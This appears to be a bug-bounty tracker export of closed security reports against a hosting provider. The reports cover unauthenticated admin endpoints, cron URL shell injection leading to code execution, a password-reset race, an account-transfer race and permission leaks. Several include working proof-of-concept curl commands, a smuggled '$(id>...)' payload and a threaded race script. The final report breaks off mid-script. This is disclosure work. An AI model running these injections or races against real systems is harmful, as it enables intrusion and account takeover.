|
519 | Unauthenticated vmauth administrative config reload and ... | Closed | 05.10.2026 |
Task Description
Summary The host sandbox-fnonnenmacher2.paris1.alwaysdata.com runs vmauth v1.137.0, a VictoriaMetrics authentication proxy that protects an internal monitoring backend with HTTP Basic Auth. Multiple administrative and diagnostic paths are exempt from authentication.
Two are materially impactful:
/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.
/metrics is unauthenticated. It leaks internal service-account usernames, config paths, TLS certificate paths, version information, and runtime telemetry.
Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.
Severity: Medium CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5 Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.
Affected asset:
Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com
IP: 185.31.41.181
Service: vmauth v1.137.0
Steps to Reproduce / PoC 1. Confirm the authentication gate exists on the same host bash curl -sk -o /dev/null -w '%{http_code}\n' \
https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/
Expected:
text 401 This is the control: the root path is protected.
2. Confirm /metrics is exempt and leaks internal data bash curl -sk -o /dev/null -w '%{http_code}\n' \
https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics
Expected:
text 200 Leaked data:
bash curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep -E 'username=|auth.config|tlsCertFile|version='
Observed output includes:
text vmauth_user_concurrent_requests_capacity{username="admin"} 1000 vmauth_user_concurrent_requests_capacity{username="aldjango"} 1000 vmauth_user_concurrent_requests_capacity{username="grafana"} 1000 vmauth_user_concurrent_requests_capacity{username="telegraf"} 1000
name="auth.config", value="/etc/vmauth/config.yml", is_set="true" name="tlsCertFile", value="/etc/ssl/certs/alwaysdata.org.bundle.pem", is_set="true" version="vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163" short_version="v1.137.0" These usernames are not otherwise obtainable without authentication.
3. Prove /-/reload is unauthenticated and state-changing Baseline the reload counter:
bash curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep vmauth_config_last_reload_total
Example:
text vmauth_config_last_reload_total 7 Send an anonymous reload request:
bash curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload Observed:
http HTTP/1.1 200 OK x-server-hostname: sandbox-fnonnenmacher2 content-length: 0 Re-read the counter:
bash curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep vmauth_config_last_reload_total
Observed:
text vmauth_config_last_reload_total 8 Delta: 1
Repeat:
bash curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep vmauth_config_last_reload_total
Observed:
text vmauth_config_last_reload_total 9 Delta: 1
The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.
4. Control: sibling admin endpoint is correctly gated bash curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit Observed:
http HTTP/1.1 401 Unauthorized Www-Authenticate: Basic realm="Restricted" Counter delta: 0
This proves /-/reload is an omission, not a design where all admin routes are open.
5. Additional unauthenticated pprof exposure bash curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline Observed:
text /usr/bin/vmauth -envflag.enable The full pprof surface is exposed, including:
/debug/pprof/
/debug/pprof/cmdline
/debug/pprof/heap?debug=1
/debug/pprof/allocs?debug=1
/debug/pprof/goroutine?debug=2
/debug/pprof/trace?seconds=1
Impact 1. Unauthenticated administrative action An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.
2. Potential full authentication bypass if chained /-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.
No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.
3. Internal information disclosure /metrics and pprof leak:
Internal service-account names: admin, aldjango, grafana, telegraf
Configuration file path: /etc/vmauth/config.yml
TLS certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem
Exact vmauth version and Go runtime version
Process command line: /usr/bin/vmauth -envflag.enable
Heap, allocs, goroutine, mutex, and trace profiling data
|
|
518 | Remote Code Execution | Closed | 05.10.2026 |
Task Description
Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution
Severity: Critical
Summary
The cron job feature's TYPE_URLS type is documented as accepting "a list of URLs to request" — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the API accepts a single-quote ' character inside the URL argument without rejection. By injecting '$(cmd)' into the URL, the shell quoting is broken and cmd executes as a real command on alwaysdata's jobs server under the account's UID.
Steps to Reproduce
Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.
Step 1 — Write payload to file (prevents local shell expansion):
cat > /tmp/job.json << 'EOF'
{
"type": "TYPE_URLS",
"argument": "http://x.com/'$(id>/home/YOUR_ACCOUNT/www/rce_proof.txt)'",
"date_type": "FREQUENCY",
"frequency": 1,
"frequency_period": "minute"
}
EOF
Step 2 — Create the malicious cron job:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
-X POST "https://api.alwaysdata.com/v1/job/?format=json" \
-H "Content-Type: application/json" \
-d @/tmp/job.json \
-w "\nHTTP STATUS: %{http_code}\n"
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.
Step 3 — Wait up to 60 seconds for the cron to fire.
Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata's server.
Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
"https://api.alwaysdata.com/v1/job/?format=json"
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
-X DELETE "https://api.alwaysdata.com/v1/job/JOB_ID/?format=json"
|
|
517 | 500 ISE via Host Header @ Injection on /password/lost/ ... | Closed | 05.10.2026 |
Task Description
## Summary
Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled HTTP 500 Internal Server Error on /password/lost/. Standard Host values work correctly.
Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation) CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
## Reproduce Raw TCP/TLS request:
Host: admin.alwaysdata.com@evil.com GET /password/lost/ HTTP/1.1
Response: HTTP/1.1 500 Internal Server Error
Normal Host: admin.alwaysdata.com returns HTTP 200.
## Evidence - @-injection in Host header triggers 500 ISE - Clean Host value returns 200 (no issue) - No data leakage in error response observed
## Impact Indicates Host header input reaches internal processing (likely URL building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.
## Remediation Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with HTTP 400.
Researcher: adityahadipratama4@gmail.com
|
|
516 | No Rate Limit on /support/add/ — Support Ticket Spam (C ... | Closed | 05.10.2026 |
Task Description
## Summary
POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata's support team inbox.
Severity: Low (CVSS 3.7) | CWE-307 CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
## Reproduce 1. Log in with any free account 2. Fire 20 rapid POSTs to /support/add/ with subject/message fields 3. All 20 return HTTP 200 — no 429 triggered
## Impact - Staff inbox flooding via ticket spam - Can bury legitimate support requests - Degrades quality of service for legitimate customers
## Remediation Limit: 5-10 tickets/hour per user account.
Researcher: adityahadipratama4@gmail.com
|
|
515 | No Rate Limit on /transfer/add/ — Invitation Spam Abuse ... | Closed | 05.10.2026 |
Task Description
## Summary
POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata's invitation email system for harassment.
Severity: Medium (CVSS 5.3) | CWE-307 CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
## Reproduce 1. Log in with any free account 2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return HTTP 200 — no throttling triggered
## Evidence - 30/30 HTTP 200 (parallel, ~1.55s total) - No 429 even under concurrent load
## Impact - Spam victim with unlimited alwaysdata-branded transfer invitation emails - Abuse alwaysdata sending reputation for targeted harassment
## Remediation Limit: 5-10 invitations/hour per user + 3/day per target email.
Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.
|
|
514 | No Rate Limit on /password/lost/ — Email Flooding (CVSS ... | Closed | 05.10.2026 |
Task Description
## Summary
POST /password/lost/ has no rate limiting. An attacker can flood any user inbox with unlimited reset emails without auth.
Severity: Medium (CVSS 5.3) | CWE-307 CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
## Reproduce
1. Get CSRF: curl -c /tmp/c.txt admin.alwaysdata.com/password/lost/ -o /dev/null 2. Fire 15 POST requests: all return HTTP 200 (no 429) 3. Contrast: /login/ returns 429 at attempt 11
## Evidence 15/15 HTTP 200 with no throttling on /password/lost/ Login endpoint correctly throttles at attempt 11 - infrastructure supports rate limiting
## Impact - Flood any user inbox with unlimited reset emails (no auth needed) - Consume alwaysdata mail delivery resources - Email-harass targeted users via alwaysdata domain
## Remediation Rate limit: 3-5 req/hour per IP + 3/hour per email. Reuse infra from /login/.
Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.
|
|
513 | Password-reset token single-use is not race-safe — a co ... | Closed | 02.10.2026 |
Task Description
# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix
Affected endpoint: `POST https://admin.alwaysdata.com/user/reset_password/?user_id=<u>&token=<t>&expiration=<e>` (the link sent by `POST /password/lost/`) Related: #279 ("reusable login token URL") — this report shows the single-use fix it introduced does not hold under concurrency
## Summary The password-reset link is single-use sequentially: a second use submitted after the first one completes returns *"Le lien utilisé est invalide"* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, all of them pass the validity check and all are processed as a successful reset — each returns `200` with the authenticated panel and issues an authenticated session. Final run: 4/4 concurrent requests accepted; earlier runs: 2/2 accepted (both times).
Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim's reset appears to proceed, while the attacker's simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.
## Preconditions - An account whose mailbox the tester controls (own test accounts were used; free plan). - Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence Low; the finding is that the documented single-use property fails under concurrency.
## Steps to reproduce 1. Request a reset link (own account):
```
curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
-H 'Referer: https://admin.alwaysdata.com/password/lost/' \
--data-urlencode 'csrfmiddlewaretoken=<csrf>' \
--data-urlencode 'email=<account email>'
```
→ `200` on `/password/sent/`; the e-mail contains:
`https://admin.alwaysdata.com/user/reset_password/?user_id=…&token=…&expiration=…`
2. Control (sequential). Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only after the first has completed. Result: first accepted, second rejected.
3. Race. N sessions each GET the link first, then POST simultaneously (thread barrier; `&` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.
Self-contained repro script (`python3 poc.py "<link>" <control|race> <N>`):
```python import re, sys, threading, urllib.parse, urllib.request, http.cookiejar
BASE = "https://admin.alwaysdata.com"
def new_session(link):
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
body = op.open(link, timeout=30).read().decode("utf-8", "replace")
csrf = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', body).group(1)
return op, csrf
def submit(op, link, csrf, password):
data = urllib.parse.urlencode({"csrfmiddlewaretoken": csrf, "password": password}).encode()
body = op.open(urllib.request.Request(link, data=data,
headers={"Referer": link}), timeout=30).read().decode("utf-8", "replace")
flat = re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", body, flags=re.S))
if "lien utilisé est invalide" in flat: return "INVALID (rejected)"
if "Logout" in flat: return "ACCEPTED (authenticated panel page)"
return "?"
def is_authed(op):
home = op.open(BASE + "/", timeout=30).read().decode("utf-8", "replace")
return "Logout" in re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", home, flags=re.S))
link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3]) sess = [new_session(link) for _ in range(n)] if mode == "control": # second POST after the first completed
for i, (op, csrf) in enumerate(sess):
print("POST #%d:" % i, submit(op, link, csrf, "SeqPw%d!x7Kq" % i))
else: # all POSTs fired simultaneously
out, barrier = {}, threading.Barrier(n)
def worker(i):
barrier.wait()
out[i] = submit(sess[i][0], link, sess[i][1], "RacePw%d!xyz" % i)
ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
[t.start() for t in ts]; [t.join() for t in ts]
for i in sorted(out): print("parallel POST #%d:" % i, out[i])
for i, (op, _) in enumerate(sess):
print("session #%d authenticated: %s" % (i, is_authed(op)))
```
Observed — race (`race`, N=4, fresh link from a newly requested e-mail): ``` parallel POST #0: ACCEPTED (authenticated panel page) parallel POST #1: ACCEPTED (authenticated panel page) parallel POST #2: ACCEPTED (authenticated panel page) parallel POST #3: ACCEPTED (authenticated panel page) session #0 authenticated: True session #1 authenticated: True session #2 authenticated: True session #3 authenticated: True ``` Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).
## Impact - The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session. - Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker's parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use. - No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.
## Remediation - Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=<t> AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as "already used" — reject in-flight duplicates instead of processing them. - Mark the token used before applying the password change, so exactly one concurrent request wins. - Defence in depth: on successful reset, invalidate the user's other outstanding reset links and existing sessions.
|
|
512 | Account-transfer cancel and accept are not mutually exc ... | Closed | 02.10.2026 |
Task Description
# Account-transfer cancel and accept are not mutually exclusive — a concurrent accept completes a transfer the owner cancelled (bypass of the #151/#156 fixes)
Severity: Medium Affected: `POST https://admin.alwaysdata.com/transfer/<id>/cancel/` and `POST https://admin.alwaysdata.com/transfer/<id>/accept/` Same root cause: `POST https://admin.alwaysdata.com/transfer/add/?_field_type=account` (the "one pending transfer per account" guard is racy) Related: #156 ("Block concurrent transfer requests … conflict check", closed fixed) and #151 ("pending invitations invalidated upon transfer", closed fixed) — this report is a concurrency bypass of both guarantees
## Summary The cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner's cancel and the recipient's accept are submitted at the same instant, both commit: the cancel returns its success redirect and the panel shows *"The transfer has been cancelled."*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, SSH). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.
Two supporting defects in the same fix family: 1. The concurrent-request guard on transfer creation is also racy: parallel creates for the same account produced 2/4, 3/4 and 4/4 simultaneous pending records, while a sequential second attempt is refused ("Select a valid choice. That choice is not one of the available choices." — the account is removed from the form's selectable set while a transfer is pending). 2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed and acceptable; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.
## Preconditions Two accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.
## Steps to reproduce All requests must reuse a logged-in cookie jar per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel by design — that is the consumed-record signature, not the bug.)
1. A creates a transfer of A's account to B:
```
TOK=$(curl -b jarA -c jarA -s 'https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
curl -b jarA -c jarA -s -o /dev/null -w 'create=%{http_code}\n' -X POST \
-H 'Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
--data-urlencode "csrfmiddlewaretoken=$TOK" --data-urlencode "account=<A account id>" \
--data-urlencode "email=<B email>" --data-urlencode "submit=Submit" \
'https://admin.alwaysdata.com/transfer/add/?_field_type=account'
ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
| grep -o '/transfer/[0-9]*/' | grep -o '[0-9]*' | sort -n | tail -1) # the new pending record
```
→ `create=302`; the record is listed for both parties; B's transfer page serves an accept form.
2. CSRF tokens for cancel/accept must come from each side's `/transfer/` LIST page (the cancel/accept URLs themselves contain no token):
```
TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
```
3. Owner cancels, recipient accepts — fired together (shell `&`; a thread barrier in a script is more deterministic):
```
curl -b jarA -c jarA -s -o /dev/null -w 'cancel=%{http_code}\n' -X POST \
-H "Referer: https://admin.alwaysdata.com/transfer/" \
--data "csrfmiddlewaretoken=$TOK_A&submit=yes" \
"https://admin.alwaysdata.com/transfer/$ID/cancel/" &
curl -b jarB -c jarB -s -o /dev/null -w 'accept=%{http_code}\n' -X POST \
-H "Referer: https://admin.alwaysdata.com/transfer/" \
--data "csrfmiddlewaretoken=$TOK_B&submit=yes" \
"https://admin.alwaysdata.com/transfer/$ID/accept/" &
wait
```
4. Verify from B's own session: `GET /transfer/add/?_field_type=account` now lists A's account id in the recipient's select, although the owner's cancel returned `302` and A's panel showed *"The transfer has been cancelled."* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A's own select no longer lists the account.)
### Observed (race) Barrier-based run, 5 trials, fresh record per trial: ``` trial 1: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True trial 2: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True trial 3: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404) trial 4: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404) trial 5: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404) RESULT: 2/5 trials moved the account ``` Earlier runs: 3/3 moved, and 4/4 moved (shell `&`). Overall 9/12 documented race attempts moved the account after the owner's cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient's own `/transfer/add/?_field_type=account` select containing the owner's account id, and the owner's panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).
### Supporting defect 1 — racy create-guard (4 parallel creates for the same account) ``` parallel #0: (302) parallel #1: (302) parallel #2: (200) parallel #3: (302) PENDING RECORDS: ['5098','5099','5100'] (sequential second create → refused) ```
### Supporting defect 2 — cancel revokes only the named record With records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.
## Impact - The owner's cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *"The transfer has been cancelled."* while the account and all of its resources move to the recipient. - The same root cause defeats #156's invariant ("concurrent transfer requests for the same account must be impossible"): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer. - Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).
## Remediation - Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state='cancelled', … WHERE id=? AND state='pending'` and treat `rowcount == 0` as "already consumed" (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in. - `cancel` (on either side, and especially by the owner) should atomically revoke all pending records for the account, not only the named one. - Enforce "one pending transfer per account" with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form's choices. - Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).
|
|
511 | System tasks (`/task/`) readable with any single delega ... | Closed | 02.10.2026 |
Task Description
# System tasks (`/task/`) readable with any single delegated permission — mailbox addresses and database names disclosed beyond granted scope
Severity: Medium — per program tier *"Accessing permissions/config on user accounts without accessing content"*
Summary: When a customer delegates a single permission on their account (e.g. "Domains") to another user, every section of the admin panel correctly enforces its own permission — `/mailbox/`, `/database/`, `/ssl/`, `/account/usage/` all return 403 for a Domains-only delegate. The "System tasks" view is the exception: `/task/` and `/task/<id>/detail/` are accessible to any user holding at least one permission on the account — any permission works (Domains-only, SSL-only, Usage-only, Scheduled-tasks-only were each tested). The delegate can therefore read the account-wide operations feed, including operations for sections they are explicitly denied: mailbox addresses, database names, Apache/database operations.
The dedicated "Scheduled tasks" permission (`account_job`) *is* correctly enforced for `/job/` (403 without it, 200 with it), which shows section-level authorization exists and `/task/` simply does not apply it. Access is grant-derived (not a cross-customer object IDOR): once the grant is removed, the same requests return 404.
Affected URL / endpoints: - `GET https://admin.alwaysdata.com/task/` - `GET https://admin.alwaysdata.com/task/<id>/detail/`
Repro (clean curl) — two tester-owned accounts required; `A` is the owner of `adtesta1` (account id `503524`), `B` is a second user with no access initially:
```bash BASE=https://admin.alwaysdata.com A_EMAIL='owner@example.com' A_PASS='owner-password' # owns adtesta1 (account id 503524) B_EMAIL='delegate@example.com' B_PASS='delegate-password' # second user, no access yet
csrf() { grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' "$1" | head -1 | cut -d'"' -f4; } login() { # $1=jar $2=email $3=password
curl -s -c "$1" "$BASE/login/" -o /tmp/login.html
curl -s -b "$1" -c "$1" -X POST "$BASE/login/" -H "Referer: $BASE/login/" \
--data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/login.html)" \
--data-urlencode "login=$2" --data-urlencode "password=$3" -o /dev/null
}
# — 1) Owner A grants delegate B ONLY the "Domains" permission on adtesta1 — login A.jar "$A_EMAIL" "$A_PASS" curl -s -b A.jar -c A.jar "$BASE/permissions/add/" -o /tmp/grant.html curl -s -b A.jar -c A.jar -X POST "$BASE/permissions/add/" -H "Referer: $BASE/permissions/add/" \
-data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/grant.html)" \
-data-urlencode "email=$B_EMAIL" \
-data-urlencode "account=503524" \
-data-urlencode "503524_account_domain=on" -o /dev/null
# (checkbox name pattern is <account_id>_account_<permission>)
# — 2) Delegate B logs in, switches to the adtesta1 object context, reads tasks — login B.jar "$B_EMAIL" "$B_PASS" curl -s -b B.jar -c B.jar "$BASE/" -o /tmp/b.html curl -s -b B.jar -c B.jar -X POST "$BASE/" -H "Referer: $BASE/" \
-data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/b.html)" \
-data-urlencode "change-object=account_adtesta1" -o /dev/null
# — 3) B reads the account's task feed — real data — curl -s -b B.jar -o /dev/null -w 'GET /task/ → %{http_code}\n' "$BASE/task/" curl -s -b B.jar "$BASE/task/" \
| grep -o '/task/[0-9]*/detail/">\[[^]]*\][^<]*' \
| sed 's|/task/\([0-9]*\)/detail/">|\1 |' | head -4
# 40721533 [adtesta1] adtesta1@alwaysdata.net mailbox configuration # 40720561 [adtesta1] Updating database permissions MySQL: adtesta1_db # 40720560 [adtesta1] Database creation MySQL: adtesta1_db # 40720415 [adtesta1] Database user creation RabbitMQ: adtesta1
# pick any task id shown in the list, then read its detail page: curl -s -b B.jar -o /dev/null -w 'GET /task/<id>/detail/ → %{http_code}\n' "$BASE/task/<id>/detail/" curl -s -b B.jar "$BASE/task/<id>/detail/" | tr '\n' ' ' \
| grep -oE '<th[^>]*>(Description|Opening date|Status|Involved account):</th>[[:space:]]*<td>[^<]*' \
| sed -E 's/<th[^>]*>//; s|</th>[[:space:]]*<td>| |'
# Description: [adtesta1] Updating Apache configuration # Opening date: Oct 1, 2026, 5:38:58 PM # Status: Completed # Involved account: adtesta1
# — 4) Controls, same session — for u in /domain/ /mailbox/ /database/ /ssl/ /account/usage/ /job/; do
curl -s -b B.jar -o /dev/null -w "GET $u -> %{http_code}\n" "$BASE$u"
done ```
Observed — output of `repro-01-system-tasks-any-permission.sh` (2026-10-01, tester's accounts `adtesta1` id 503524 / `adtestb1` id 503525; full log in `evidence-01-run.txt`):
``` == 1) A grants B ONLY the 'Domains' permission on adtesta1 (503524)
grant record: /permissions/493113/
== 3) B reads the System tasks of adtesta1 — real data shown below
GET /task/ -> 200 rows leaked for [adtesta1]: 9 (own [adtestb1] rows: 11)
--- rows of account adtesta1 as displayed to B ---
40721533 [adtesta1] adtesta1@alwaysdata.net mailbox configuration
40720561 [adtesta1] Updating database permissions MySQL: adtesta1_db
40720560 [adtesta1] Database creation MySQL: adtesta1_db
40720415 [adtesta1] Database user creation RabbitMQ: adtesta1
GET /task/40720409/detail/ -> 200 --- page content as displayed to B ---
Description: [adtesta1] Updating Apache configuration
Opening date: Oct 1, 2026, 5:38:58 PM
Status: Completed
Involved account: adtesta1
--- controls (same session) ---
GET /domain/ -> 200
GET /mailbox/ -> 403
GET /database/ -> 403
GET /ssl/ -> 403
GET /account/usage/ -> 403
GET /job/ -> 403
== 4) cleanup: remove the grant == 5) verify restored
A grant records now: 493112
B GET /task/40720409/detail/ -> 404 (expect 404)
```
The 9 leaked rows include the account's mailbox address (`adtesta1@alwaysdata.net`) and database names (`adtesta1_db`, `adtesta1`), even though B is denied `/mailbox/` and `/database/` (403).
Also reproduced with each of SSL-only, Usage-only and Scheduled-tasks-only grants — `/task/` returned 200 in every case.
Impact: A customer delegating a narrow permission cannot confine the delegate to that section. The delegate reads account-wide operational metadata — mailbox addresses (`adtesta1@alwaysdata.net`), database names (`adtesta1_db`), and operation descriptions — for sections from which they are explicitly blocked (403). Metadata only: no mailbox content, no database content, no credentials.
Remediation: Enforce a section-level check on `/task/` (and `/task/<id>/detail/`) — either a dedicated permission or filtering the task feed to the caller's granted sections, the same way `/job/` already enforces `account_job`.
|
|
510 | Command Injection in pids POST field → RCE on 4 bare-me ... | Closed | 29.09.2026 |
Task Description
**Summary**
The process analyzer feature at /advanced/processes/analyze/ accepts a pids (Process IDs) field that is supposed to receive only numbers. However, the application never validates that the input is actually numeric. The raw value is passed directly to a shell command using Python's subprocess.call() with shell=True, which means any shell command injected into the field gets executed on the server.
Any authenticated alwaysdata user — including free accounts — can inject arbitrary commands into this field. By changing the ?role= parameter, the same account can trigger execution on all 4 physical servers (http, jobs, services, ssh).
**Severity : Critical (CVSS 10.0)**
**Affected URL: POST /advanced/processes/analyze/?role={http,jobs,services,ssh}**
**Impact**
1. Remote Code Execution — any free account gets shell command execution on bare metal servers 2. Cross-Tenant Exposure — 10,480+ customer accounts visible; NFS-shared home directories accessible across servers 3. 4 Servers Affected — one account triggers RCE on all 4 via ?role=http/jobs/services/ssh 4. No Container Isolation — kernel 6.18.52-alwaysdata, bare metal, no sandbox 5. Root Escalation Path — alcontainer XML-RPC daemon (port 8570) runs as root, is reachable from customer user space
**Steps to Reproduce**
**Prerequisites**
You need a free alwaysdata account. Then get these 3 values:
API Token → admin.alwaysdata.com → top-right → your name → Tokens → copy the 32-char hex string
**SSH User ID:**
curl -s -u "YOUR_TOKEN:" https://api.alwaysdata.com/v1/ssh/
# Look for "id" in the response
**Account Name:**
curl -s -u "YOUR_TOKEN:" https://api.alwaysdata.com/v1/account/ | python3 -m json.tool | grep login
**Terminal Setup — Paste Once**
EMAIL="YOUR_LOGIN_EMAIL"
PASS="YOUR_PASSWORD"
TOKEN="YOUR_API_TOKEN"
SSH_ID="YOUR_SSH_USER_ID"
ACCOUNT="YOUR_ACCOUNT_NAME"
COOKIES="/tmp/poc_cookies.txt"
BASE="https://admin.alwaysdata.com"
login() {
rm -f "$COOKIES"
CSRF=$(curl -s -c "$COOKIES" "$BASE/login/" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
